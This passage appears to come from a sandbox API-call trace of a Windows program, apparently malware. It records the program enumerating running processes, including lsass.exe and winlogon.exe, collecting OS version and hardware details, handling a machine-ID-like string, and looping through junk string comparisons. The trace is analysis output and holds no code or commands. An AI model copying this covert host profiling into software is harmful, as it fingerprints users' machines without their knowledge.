lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0069.296] lstrlenW (lpString="dwm.exe") returned 7 [0069.296] lstrcmpiW (lpString1="taskhost.exe", lpString2="systeminfo.exe") returned 1 [0069.296] lstrcpyW (in: lpString1=0x40651a, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe" [0069.296] lstrlenW (lpString="taskhost.exe") returned 12 [0069.296] lstrcmpiW (lpString1="OfficeClickToRun.exe", lpString2="systeminfo.exe") returned -1 [0069.296] lstrcpyW (in: lpString1=0x406534, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" [0069.296] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0069.296] lstrcmpiW (lpString1="spoolsv.exe", lpString2="systeminfo.exe") returned -1 [0069.296] lstrcpyW (in: lpString1=0x40655e, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0069.296] lstrlenW (lpString="spoolsv.exe") returned 11 [0069.296] lstrcmpiW (lpString1="audiodg.exe", lpString2="systeminfo.exe") returned -1 [0069.296] lstrcpyW (in: lpString1=0x406576, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0069.296] lstrlenW (lpString="audiodg.exe") returned 11 [0069.297] lstrcmpiW (lpString1="svchost.exe", lpString2="systeminfo.exe") returned -1 [0069.297] lstrcpyW (in: lpString1=0x40658e, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0069.297] lstrlenW (lpString="svchost.exe") returned 11 [0069.297] lstrcmpiW (lpString1="lsm.exe", lpString2="systeminfo.exe") returned -1 [0069.297] lstrcpyW (in: lpString1=0x4065a6, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe" [0069.297] lstrlenW (lpString="lsm.exe") returned 7 [0069.297] lstrcmpiW (lpString1="lsass.exe", lpString2="systeminfo.exe") returned -1 [0069.297] lstrcpyW (in: lpString1=0x4065b6, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0069.297] lstrlenW (lpString="lsass.exe") returned 9 [0069.297] lstrcmpiW (lpString1="services.exe", lpString2="systeminfo.exe") returned -1 [0069.298] lstrcpyW (in: lpString1=0x4065ca, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0069.298] lstrlenW (lpString="services.exe") returned 12 [0069.298] lstrcmpiW (lpString1="winlogon.exe", lpString2="systeminfo.exe") returned 1 [0069.298] lstrcpyW (in: lpString1=0x4065e4, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0069.298] lstrlenW (lpString="winlogon.exe") returned 12 [0069.298] lstrcmpiW (lpString1="wininit.exe", lpString2="systeminfo.exe") returned 1 [0069.298] lstrcpyW (in: lpString1=0x4065fe, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0069.298] lstrlenW (lpString="wininit.exe") returned 11 [0069.298] lstrcmpiW (lpString1="csrss.exe", lpString2="systeminfo.exe") returned -1 [0069.298] lstrcpyW (in: lpString1=0x406616, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0069.298] lstrlenW (lpString="csrss.exe") returned 9 [0069.298] lstrcmpiW (lpString1="smss.exe", lpString2="systeminfo.exe") returned -1 [0069.298] lstrcpyW (in: lpString1=0x40662a, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0069.298] lstrlenW (lpString="smss.exe") returned 8 [0069.298] lstrcmpiW (lpString1="System", lpString2="systeminfo.exe") returned -1 [0069.298] lstrcpyW (in: lpString1=0x40663c, lpString2="System" | out: lpString1="System") returned="System" [0069.298] lstrlenW (lpString="System") returned 6 [0069.298] lstrcmpiW (lpString1="[System Process]", lpString2="systeminfo.exe") returned -1 [0069.298] lstrcpyW (in: lpString1=0x40664a, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0069.298] lstrlenW (lpString="[System Process]") returned 16 [0069.298] GetLastError () returned 0x12 [0069.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sppsvc.exe,OSPPSVC.EXE,WINWORD.EXE,manufacturer-asset.exe,analysts-dose.exe,multimedia-channel-letter-standards.exe,eaglesfilterscrimes.exe,dimensionalsubscriptions.exe,literally.exe,instrumentationendorsementcivilizationcommentary.exe,later_pet_handjobs.exe,diamond_hospitals_designs_www.exe,pagespresent.exe,located-purple-team.exe,pie.exe,cookie_cumulative_bennett_horse.exe,canvas.exe,cliff-filter.exe,routing.exe,ausarrivedrepresentative.exe,characters appointed birthday finally.exe,thumbnailsopen.exe,ones_pork_tommy_lb.exe,farehave.exe,los-talks-ooo-focusing.exe,efforts-extreme-quantity-reproductive.exe,turner_construction_solve_cialis.exe,WmiPrvSE.exe,ONENOTEM.EXE,taskeng.exe,explorer.exe,dwm.exe,taskhost.exe,OfficeClickToRun.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=878, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 878 [0069.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="sppsvc.exe,OSPPSVC.EXE,WINWORD.EXE,manufacturer-asset.exe,analysts-dose.exe,multimedia-channel-letter-standards.exe,eaglesfilterscrimes.exe,dimensionalsubscriptions.exe,literally.exe,instrumentationendorsementcivilizationcommentary.exe,later_pet_handjobs.exe,diamond_hospitals_designs_www.exe,pagespresent.exe,located-purple-team.exe,pie.exe,cookie_cumulative_bennett_horse.exe,canvas.exe,cliff-filter.exe,routing.exe,ausarrivedrepresentative.exe,characters appointed birthday finally.exe,thumbnailsopen.exe,ones_pork_tommy_lb.exe,farehave.exe,los-talks-ooo-focusing.exe,efforts-extreme-quantity-reproductive.exe,turner_construction_solve_cialis.exe,WmiPrvSE.exe,ONENOTEM.EXE,taskeng.exe,explorer.exe,dwm.exe,taskhost.exe,OfficeClickToRun.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],", cchWideChar=878, lpMultiByteStr=0x3d1de8, cbMultiByte=878, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sppsvc.exe,OSPPSVC.EXE,WINWORD.EXE,manufacturer-asset.exe,analysts-dose.exe,multimedia-channel-letter-standards.exe,eaglesfilterscrimes.exe,dimensionalsubscriptions.exe,literally.exe,instrumentationendorsementcivilizationcommentary.exe,later_pet_handjobs.exe,diamond_hospitals_designs_www.exe,pagespresent.exe,located-purple-team.exe,pie.exe,cookie_cumulative_bennett_horse.exe,canvas.exe,cliff-filter.exe,routing.exe,ausarrivedrepresentative.exe,characters appointed birthday finally.exe,thumbnailsopen.exe,ones_pork_tommy_lb.exe,farehave.exe,los-talks-ooo-focusing.exe,efforts-extreme-quantity-reproductive.exe,turner_construction_solve_cialis.exe,WmiPrvSE.exe,ONENOTEM.EXE,taskeng.exe,explorer.exe,dwm.exe,taskhost.exe,OfficeClickToRun.exe,spoolsv.exe,audiodg.exe,svchost.exe,lsm.exe,lsass.exe,services.exe,winlogon.exe,wininit.exe,csrss.exe,smss.exe,System,[System Process],ess],", lpUsedDefaultChar=0x0) returned 878 [0069.298] GetLastError () returned 0x12 [0069.298] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.298] SetLastError (dwErrCode=0x12) [0069.298] GetCurrentProcess () returned 0xffffffff [0069.298] GetLastError () returned 0x12 [0069.298] wsprintfA (in: param_1=0x3e0f63b, param_2="%X%P" | out: param_1="6E6D5AP") returned 7 [0069.298] SetLastError (dwErrCode=0x12) [0069.298] GetCurrentProcessId () returned 0x81c [0069.299] GetCurrentProcess () returned 0xffffffff [0069.299] GetLastError () returned 0x12 [0069.299] wsprintfA (in: param_1=0x3e0f863, param_2="%X%P" | out: param_1="6E6D5BP") returned 7 [0069.299] SetLastError (dwErrCode=0x12) [0069.299] GetCurrentProcessId () returned 0x81c [0069.299] RtlGetVersion (in: lpVersionInformation=0x3e0f7a8 | out: lpVersionInformation=0x3e0f7a8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0069.299] GetNativeSystemInfo (in: lpSystemInfo=0x3e0f8c4 | out: lpSystemInfo=0x3e0f8c4*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0069.299] lstrlenA (lpString="YKYD69Q_705BA84C") returned 16 [0069.299] GetLastError () returned 0x12 [0069.299] wsprintfA (in: param_1=0x3e0f863, param_2="%X%P" | out: param_1="6E6D5CP") returned 7 [0069.299] SetLastError (dwErrCode=0x12) [0069.299] GetCurrentProcessId () returned 0x81c [0069.299] GetCurrentProcessId () returned 0x81c [0069.299] GetCurrentProcessId () returned 0x81c [0069.299] GetCurrentProcessId () returned 0x81c [0069.299] lstrlenA (lpString="just string") returned 11 [0069.299] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.299] GetLastError () returned 0x12 [0069.299] GetLastError () returned 0x12 [0069.299] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.299] SetLastError (dwErrCode=0x12) [0069.299] GetCurrentProcess () returned 0xffffffff [0069.299] GetLastError () returned 0x12 [0069.299] wsprintfA (in: param_1=0x3e0f76f, param_2="%X%P" | out: param_1="6E6D64P") returned 7 [0069.299] SetLastError (dwErrCode=0x12) [0069.299] GetCurrentProcessId () returned 0x81c [0069.299] GetCurrentProcess () returned 0xffffffff [0069.299] GetLastError () returned 0x12 [0069.299] wsprintfA (in: param_1=0x3e0f75f, param_2="%X%P" | out: param_1="6E6D65P") returned 7 [0069.299] SetLastError (dwErrCode=0x12) [0069.299] GetCurrentProcessId () returned 0x81c [0069.299] GetLastError () returned 0x12 [0069.299] wsprintfA (in: param_1=0x3e0f717, param_2="%X%P" | out: param_1="6E6D66P") returned 7 [0069.299] SetLastError (dwErrCode=0x12) [0069.299] GetCurrentProcessId () returned 0x81c [0069.299] GetCurrentProcessId () returned 0x81c [0069.299] GetCurrentProcessId () returned 0x81c [0069.300] GetCurrentProcessId () returned 0x81c [0069.300] lstrlenA (lpString="just string") returned 11 [0069.300] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.300] GetLastError () returned 0x12 [0069.300] GetLastError () returned 0x12 [0069.300] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.300] SetLastError (dwErrCode=0x12) [0069.300] GetCurrentProcess () returned 0xffffffff [0069.300] GetLastError () returned 0x12 [0069.300] wsprintfA (in: param_1=0x3e0f6d7, param_2="%X%P" | out: param_1="6E6D6EP") returned 7 [0069.300] SetLastError (dwErrCode=0x12) [0069.300] GetCurrentProcessId () returned 0x81c [0069.300] GetCurrentProcess () returned 0xffffffff [0069.301] GetLastError () returned 0x12 [0069.301] wsprintfA (in: param_1=0x3e0f6cf, param_2="%X%P" | out: param_1="6E6D6FP") returned 7 [0069.301] SetLastError (dwErrCode=0x12) [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetLastError () returned 0x12 [0069.301] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6D70P") returned 7 [0069.301] SetLastError (dwErrCode=0x12) [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] lstrlenA (lpString="just string") returned 11 [0069.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.301] GetLastError () returned 0x12 [0069.301] GetLastError () returned 0x12 [0069.301] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.301] SetLastError (dwErrCode=0x12) [0069.301] GetCurrentProcess () returned 0xffffffff [0069.301] GetLastError () returned 0x12 [0069.301] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6DAAP") returned 7 [0069.301] SetLastError (dwErrCode=0x12) [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcess () returned 0xffffffff [0069.301] GetLastError () returned 0x12 [0069.301] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6DABP") returned 7 [0069.301] SetLastError (dwErrCode=0x12) [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetLastError () returned 0x12 [0069.301] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6DACP") returned 7 [0069.301] SetLastError (dwErrCode=0x12) [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] lstrlenA (lpString="just string") returned 11 [0069.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.301] GetLastError () returned 0x12 [0069.301] GetLastError () returned 0x12 [0069.301] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6DD4P") returned 7 [0069.301] SetLastError (dwErrCode=0x12) [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] lstrlenA (lpString="just string") returned 11 [0069.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.301] GetLastError () returned 0x12 [0069.301] GetLastError () returned 0x12 [0069.301] GetCurrentProcess () returned 0xffffffff [0069.301] GetLastError () returned 0x12 [0069.301] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6E19P") returned 7 [0069.301] SetLastError (dwErrCode=0x12) [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetLastError () returned 0x12 [0069.301] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6E1AP") returned 7 [0069.301] SetLastError (dwErrCode=0x12) [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] GetCurrentProcessId () returned 0x81c [0069.301] lstrlenA (lpString="just string") returned 11 [0069.301] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.301] GetLastError () returned 0x12 [0069.302] GetLastError () returned 0x12 [0069.302] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6E4CP") returned 7 [0069.302] SetLastError (dwErrCode=0x12) [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] lstrlenA (lpString="just string") returned 11 [0069.302] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.302] GetLastError () returned 0x12 [0069.302] GetCurrentProcess () returned 0xffffffff [0069.302] GetLastError () returned 0x12 [0069.302] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6E73P") returned 7 [0069.302] SetLastError (dwErrCode=0x12) [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetLastError () returned 0x12 [0069.302] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6E74P") returned 7 [0069.302] SetLastError (dwErrCode=0x12) [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] lstrlenA (lpString="just string") returned 11 [0069.302] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.302] GetLastError () returned 0x12 [0069.302] GetLastError () returned 0x12 [0069.302] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.302] SetLastError (dwErrCode=0x12) [0069.302] GetCurrentProcess () returned 0xffffffff [0069.302] GetLastError () returned 0x12 [0069.302] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6EB8P") returned 7 [0069.302] SetLastError (dwErrCode=0x12) [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetCurrentProcess () returned 0xffffffff [0069.302] GetLastError () returned 0x12 [0069.302] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6EB9P") returned 7 [0069.302] SetLastError (dwErrCode=0x12) [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetLastError () returned 0x12 [0069.302] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6EBAP") returned 7 [0069.302] SetLastError (dwErrCode=0x12) [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] lstrlenA (lpString="just string") returned 11 [0069.302] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.302] GetLastError () returned 0x12 [0069.302] lstrlenA (lpString="just string") returned 11 [0069.302] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.302] GetLastError () returned 0x12 [0069.302] lstrlenA (lpString="just string") returned 11 [0069.302] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.302] GetLastError () returned 0x12 [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] lstrlenA (lpString="just string") returned 11 [0069.302] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.302] GetLastError () returned 0x12 [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] GetCurrentProcessId () returned 0x81c [0069.302] lstrlenA (lpString="just string") returned 11 [0069.302] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.303] GetLastError () returned 0x12 [0069.303] GetLastError () returned 0x12 [0069.303] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.303] SetLastError (dwErrCode=0x12) [0069.303] GetCurrentProcess () returned 0xffffffff [0069.303] GetLastError () returned 0x12 [0069.303] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6FE4P") returned 7 [0069.303] SetLastError (dwErrCode=0x12) [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] GetCurrentProcess () returned 0xffffffff [0069.303] GetLastError () returned 0x12 [0069.303] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6FE5P") returned 7 [0069.303] SetLastError (dwErrCode=0x12) [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] GetLastError () returned 0x12 [0069.303] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E6FE6P") returned 7 [0069.303] SetLastError (dwErrCode=0x12) [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] lstrlenA (lpString="just string") returned 11 [0069.303] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.303] GetLastError () returned 0x12 [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] lstrlenA (lpString="just string") returned 11 [0069.303] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.303] GetLastError () returned 0x12 [0069.303] GetLastError () returned 0x12 [0069.303] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.303] SetLastError (dwErrCode=0x12) [0069.303] GetCurrentProcess () returned 0xffffffff [0069.303] GetLastError () returned 0x12 [0069.303] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E700CP") returned 7 [0069.303] SetLastError (dwErrCode=0x12) [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] GetCurrentProcess () returned 0xffffffff [0069.303] GetLastError () returned 0x12 [0069.303] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E700DP") returned 7 [0069.303] SetLastError (dwErrCode=0x12) [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] GetLastError () returned 0x12 [0069.303] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E700EP") returned 7 [0069.303] SetLastError (dwErrCode=0x12) [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] GetCurrentProcessId () returned 0x81c [0069.303] lstrlenA (lpString="just string") returned 11 [0069.303] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.303] GetLastError () returned 0x12 [0069.303] GetLastError () returned 0x12 [0069.303] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0069.303] SetLastError (dwErrCode=0x12) [0069.303] GetCurrentProcess () returned 0xffffffff [0069.303] GetLastError () returned 0x12 [0069.304] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7016P") returned 7 [0069.304] SetLastError (dwErrCode=0x12) [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcess () returned 0xffffffff [0069.304] GetLastError () returned 0x12 [0069.304] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7017P") returned 7 [0069.304] SetLastError (dwErrCode=0x12) [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetLastError () returned 0x12 [0069.304] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7018P") returned 7 [0069.304] SetLastError (dwErrCode=0x12) [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] lstrlenA (lpString="just string") returned 11 [0069.304] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.304] GetLastError () returned 0x12 [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] lstrlenA (lpString="just string") returned 11 [0069.304] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.304] GetLastError () returned 0x12 [0069.304] GetLastError () returned 0x12 [0069.304] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E709AP") returned 7 [0069.304] SetLastError (dwErrCode=0x12) [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] lstrlenA (lpString="just string") returned 11 [0069.304] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.304] GetLastError () returned 0x12 [0069.304] lstrlenA (lpString="just string") returned 11 [0069.304] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.304] GetLastError () returned 0x12 [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] lstrlenA (lpString="just string") returned 11 [0069.304] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.304] GetLastError () returned 0x12 [0069.304] GetLastError () returned 0x12 [0069.304] GetLastError () returned 0x12 [0069.304] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.304] SetLastError (dwErrCode=0x12) [0069.304] GetCurrentProcess () returned 0xffffffff [0069.304] GetLastError () returned 0x12 [0069.304] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E712EP") returned 7 [0069.304] SetLastError (dwErrCode=0x12) [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcess () returned 0xffffffff [0069.304] GetLastError () returned 0x12 [0069.304] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E712FP") returned 7 [0069.304] SetLastError (dwErrCode=0x12) [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetLastError () returned 0x12 [0069.304] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7130P") returned 7 [0069.304] SetLastError (dwErrCode=0x12) [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcessId () returned 0x81c [0069.304] GetCurrentProcessId () returned 0x81c [0069.305] lstrlenA (lpString="just string") returned 11 [0069.305] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.305] GetLastError () returned 0x12 [0069.305] GetCurrentProcess () returned 0xffffffff [0069.305] GetLastError () returned 0x12 [0069.305] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7157P") returned 7 [0069.305] SetLastError (dwErrCode=0x12) [0069.305] GetCurrentProcessId () returned 0x81c [0069.305] GetLastError () returned 0x12 [0069.305] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7158P") returned 7 [0069.305] SetLastError (dwErrCode=0x12) [0069.305] GetCurrentProcessId () returned 0x81c [0069.305] GetCurrentProcessId () returned 0x81c [0069.305] GetCurrentProcessId () returned 0x81c [0069.305] GetCurrentProcessId () returned 0x81c [0069.305] lstrlenA (lpString="just string") returned 11 [0069.305] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.305] GetLastError () returned 0x12 [0069.305] GetLastError () returned 0x12 [0069.305] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.305] SetLastError (dwErrCode=0x12) [0069.305] GetCurrentProcess () returned 0xffffffff [0069.305] GetLastError () returned 0x12 [0069.305] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E717EP") returned 7 [0069.305] SetLastError (dwErrCode=0x12) [0069.305] GetCurrentProcessId () returned 0x81c [0069.305] GetCurrentProcess () returned 0xffffffff [0069.305] GetLastError () returned 0x12 [0069.305] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E717FP") returned 7 [0069.305] SetLastError (dwErrCode=0x12) [0069.305] GetCurrentProcessId () returned 0x81c [0069.305] GetLastError () returned 0x12 [0069.305] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7180P") returned 7 [0069.305] SetLastError (dwErrCode=0x12) [0069.305] GetCurrentProcessId () returned 0x81c [0069.305] GetCurrentProcessId () returned 0x81c [0069.305] GetCurrentProcessId () returned 0x81c [0069.305] GetCurrentProcessId () returned 0x81c [0069.305] lstrlenA (lpString="just string") returned 11 [0069.305] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.305] GetLastError () returned 0x12 [0069.305] GetCurrentProcess () returned 0xffffffff [0069.305] GetLastError () returned 0x12 [0069.305] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E71B1P") returned 7 [0069.305] SetLastError (dwErrCode=0x12) [0069.305] GetCurrentProcessId () returned 0x81c [0069.306] GetLastError () returned 0x12 [0069.306] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E71B2P") returned 7 [0069.306] SetLastError (dwErrCode=0x12) [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] lstrlenA (lpString="just string") returned 11 [0069.306] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.306] GetLastError () returned 0x12 [0069.306] GetLastError () returned 0x12 [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] lstrlenA (lpString="just string") returned 11 [0069.306] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.306] GetLastError () returned 0x12 [0069.306] GetLastError () returned 0x12 [0069.306] lstrcmpA (lpString1=";", lpString2="luck") returned -1 [0069.306] SetLastError (dwErrCode=0x12) [0069.306] GetCurrentProcess () returned 0xffffffff [0069.306] GetLastError () returned 0x12 [0069.306] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7228P") returned 7 [0069.306] SetLastError (dwErrCode=0x12) [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcess () returned 0xffffffff [0069.306] GetLastError () returned 0x12 [0069.306] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7229P") returned 7 [0069.306] SetLastError (dwErrCode=0x12) [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetLastError () returned 0x12 [0069.306] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E722AP") returned 7 [0069.306] SetLastError (dwErrCode=0x12) [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] lstrlenA (lpString="just string") returned 11 [0069.306] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0069.306] GetLastError () returned 0x12 [0069.306] GetCurrentProcess () returned 0xffffffff [0069.306] GetLastError () returned 0x12 [0069.306] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E726FP") returned 7 [0069.306] SetLastError (dwErrCode=0x12) [0069.306] GetCurrentProcessId () returned 0x81c [0069.306] GetLastError () returned 0x12 [0069.306] wsprintfA (in: param_1=0x3e0f677, param_2="%X%P" | out: param_1="6E7270P") returned 7 [0069.306] SetLastError (dwErrCode=0x12) 